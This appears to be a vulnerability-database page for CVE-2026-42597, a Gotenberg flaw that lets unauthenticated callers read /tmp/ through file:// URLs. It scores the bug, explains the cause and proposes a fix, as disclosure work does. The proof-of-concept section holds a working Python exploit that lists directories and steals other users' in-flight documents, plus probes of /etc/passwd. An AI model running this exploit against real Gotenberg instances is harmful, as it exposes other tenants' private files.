What is the CVSS score of CVE-2026-42597?

CVE-2026-42597 has a CVSS 3.1 base score of 5.9 (Medium). CVSS vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N. EPSS exploitation probability: 0.0%.

Is there a patch available for CVE-2026-42597?

Yes, a patch is available for CVE-2026-42597. Update the affected software to the latest version immediately.

Python CVE-2026-42597

EUVD-2026-30317 MEDIUM

External Control of File Name or Path (CWE-73)

2026-05-07 https://github.com/gotenberg/gotenberg

GHSA-g924-cjx7-2rjw

Microsoft Python RCE Docker Google

5.9

CVSS 3.1 · GitHub Advisory

Severity by source

GitHub Advisory PRIMARY

5.9 MEDIUM

AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:N/A:N

Attack Vector

Network

Attack Complexity

High

Privileges Required

None

User Interaction

None

Scope

Unchanged

Confidentiality

High

Integrity

None

Availability

None

Lifecycle Timeline

Source Code Evidence Fetched

May 07, 2026 - 01:45 vuln.today

Analysis Generated

May 07, 2026 - 01:45 vuln.today

CVE Published

May 07, 2026 - 01:15 nvd

MEDIUM 5.9

DescriptionGitHub Advisory

Summary

The /forms/chromium/convert/url and /forms/chromium/screenshot/url routes accept url=file:///tmp/... from anonymous callers. The default Chromium deny-list intentionally exempts file:///tmp/ so HTML/Markdown routes can load their own request-local assets, and those routes apply a per-request AllowedFilePrefixes guard to scope the read. The URL routes never set AllowedFilePrefixes, so the scope guard silently skips. Alice enumerates /tmp/, walks Gotenberg's per-request working directories, and reads the raw source files of other in-flight conversions as rendered PDF output.

Details

The default deny-list regex at pkg/modules/chromium/chromium.go:449 uses a negative lookahead to exempt /tmp/:

fs.StringSlice("chromium-deny-list",
    []string{`^file:(?!//\/tmp/).*`},
    "Set the denied URLs for Chromium using regular expressions - supports multiple values")

pkg/gotenberg/outbound.go:185-187 short-circuits IP validation for non-HTTP schemes:

if !httpLikeScheme(parsed.Scheme) {
    return outboundDecision{}, nil
}

So any file:///tmp/... URL passes FilterOutboundURL cleanly.

The HTML route pairs the exemption with a per-request scope guard (pkg/modules/chromium/routes.go:518):

options.AllowedFilePrefixes = []string{ctx.DirPath()}

and the CDP Fetch.requestPaused handler enforces the scope (pkg/modules/chromium/events.go:65-78):

if allow && strings.HasPrefix(e.Request.URL, "file://") && len(options.allowedFilePrefixes) > 0 {
    prefixMatch := false
    for _, prefix := range options.allowedFilePrefixes {
        if strings.HasPrefix(e.Request.URL, "file://"+prefix) {
            prefixMatch = true
            break
        }
    }
    if !prefixMatch {
        allow = false
    }
}

The len(options.allowedFilePrefixes) > 0 condition skips the entire enforcement block when the slice is empty. The URL route handler at pkg/modules/chromium/routes.go:406-448 (convertUrlRoute) never populates AllowedFilePrefixes. MandatoryString("url", &url) takes the form value without scheme validation and passes it to convertUrl → chromium.Pdf → Chromium navigation.

Gotenberg stores uploaded request assets at /tmp/<gotenberg-work-uuid>/<request-uuid>/<file-uuid>.<ext> (pkg/gotenberg/fs.go:64-65). Chromium renders the targeted file:// URL as a PDF and the response body returns to the caller.

Proof of Concept

Reproduction uses the stock Docker image with no auth:

bash

docker run -d --name gotenberg-poc -p 3000:3000 gotenberg/gotenberg:8

Python script. Alice attacks, Bob runs a slow legitimate conversion whose request directory stays alive long enough for Alice to locate it. waitDelay=15s stands in for any naturally slow convert (large DOCX, multi-page HTML with external fetches, LibreOffice rendering a complex spreadsheet):

python

import requests, threading, time, subprocess, re
TARGET = "http://localhost:3000"
SECRET = f"BOB-CROSS-REQ-LEAK-{int(time.time())}"

bob_html = f"<html><body><h1>{SECRET}</h1></body></html>".encode()

def bob_runs():
    requests.post(
        f"{TARGET}/forms/chromium/convert/html",
        files={"files": ("index.html", bob_html, "text/html")},
        data={"waitDelay": "15s"},
        timeout=60,
    )

def alice_reads(url):
    r = requests.post(
        f"{TARGET}/forms/chromium/convert/url",
        files={"url": (None, url)}, timeout=30,
    )
    if r.status_code != 200: return None
    open("/tmp/_alice.pdf", "wb").write(r.content)
    return subprocess.run(
        ["pdftotext", "/tmp/_alice.pdf", "-"],
        capture_output=True, text=True,
    ).stdout

threading.Thread(target=bob_runs, daemon=True).start()
time.sleep(2)
# Step 1: list /tmp/ to discover the gotenberg work UUID
tmp = alice_reads("file:///tmp/")
work = re.search(r"([0-9a-f-]{36})", tmp).group(1)
# Step 2: walk into the work dir to find an in-flight request dir
wd = alice_reads(f"file:///tmp/{work}/")
for req in re.findall(r"([0-9a-f-]{36})", wd):
    if req == work: continue
    rd = alice_reads(f"file:///tmp/{work}/{req}/")
    if rd and (m := re.search(r"([0-9a-f-]{36}\.html)", rd)):
# Step 3: read bob's uploaded HTML
        txt = alice_reads(f"file:///tmp/{work}/{req}/{m.group(1)}")
        print("SECRET recovered:", SECRET in txt)
        break
# Sanity: /etc/passwd stays blocked (deny-list holds outside /tmp)
r = requests.post(f"{TARGET}/forms/chromium/convert/url",
    files={"url": (None, "file:///etc/passwd")}, timeout=30)
print(f"/etc/passwd probe: HTTP {r.status_code}")
# 403 Forbidden

Output against gotenberg 8.31.0:

SECRET recovered: True
/etc/passwd probe: HTTP 403

file:///tmp/ directory enumeration works on every request, unconditionally. Cross-request content read depends on timing: Alice needs the victim's request dir alive when she walks to it. Long-running legitimate conversions (large inputs, external HTTP fetches, explicit waitDelay) widen the window from milliseconds to seconds.

Impact

An unauthenticated caller enumerates /tmp/ on the Gotenberg host and reads the raw source files of other users' conversion requests while those requests are in flight. Content types include uploaded HTML, Markdown, Office documents awaiting LibreOffice conversion, and output PDFs staged for webhook delivery. The rendered file returns to the attacker as a PDF. In a multi-tenant deployment where multiple users submit documents to the same Gotenberg instance, cross-tenant document exfiltration is possible whenever the attacker wins the timing race against a victim's request lifecycle. Directory enumeration itself (the work-UUID and per-request-UUID structure) is available regardless of timing.

The deny-list regex holds for paths outside /tmp/. file:///etc/passwd, file:///proc/self/environ, and similar targets return HTTP 403. The primitive is scoped to /tmp/, not arbitrary filesystem read.

Recommended Fix

Remove the len(options.allowedFilePrefixes) > 0 condition at pkg/modules/chromium/events.go:65 so URL routes block every file:// sub-resource by default:

if allow && strings.HasPrefix(e.Request.URL, "file://") {
    if len(options.allowedFilePrefixes) == 0 {
        allow = false
    } else {
        prefixMatch := false
        for _, prefix := range options.allowedFilePrefixes {
            if strings.HasPrefix(e.Request.URL, "file://"+prefix) {
                prefixMatch = true
                break
            }
        }
        if !prefixMatch {
            allow = false
        }
    }
}

Equivalent alternative: reject non-http/https schemes in the URL route handlers (convertUrlRoute, screenshotUrlRoute) before handing the URL to Chromium.

--- *Found by aisafe.io*

AnalysisAI

Gotenberg versions 8.31.0 and earlier allow unauthenticated remote attackers to enumerate and read arbitrary files under /tmp/ via the /forms/chromium/convert/url and /forms/chromium/screenshot/url endpoints using file:// scheme URLs. An attacker can discover in-flight conversion request directories and exfiltrate source files (HTML, Markdown, Office documents, staged PDFs) from other users' concurrent conversion requests by timing attacks to coincide with long-running conversion operations. The vulnerability exploits a logic flaw where the URL routes fail to set per-request scope guards that HTML/Markdown routes correctly apply, causing file:// access control enforcement to silently skip for URL-based conversions.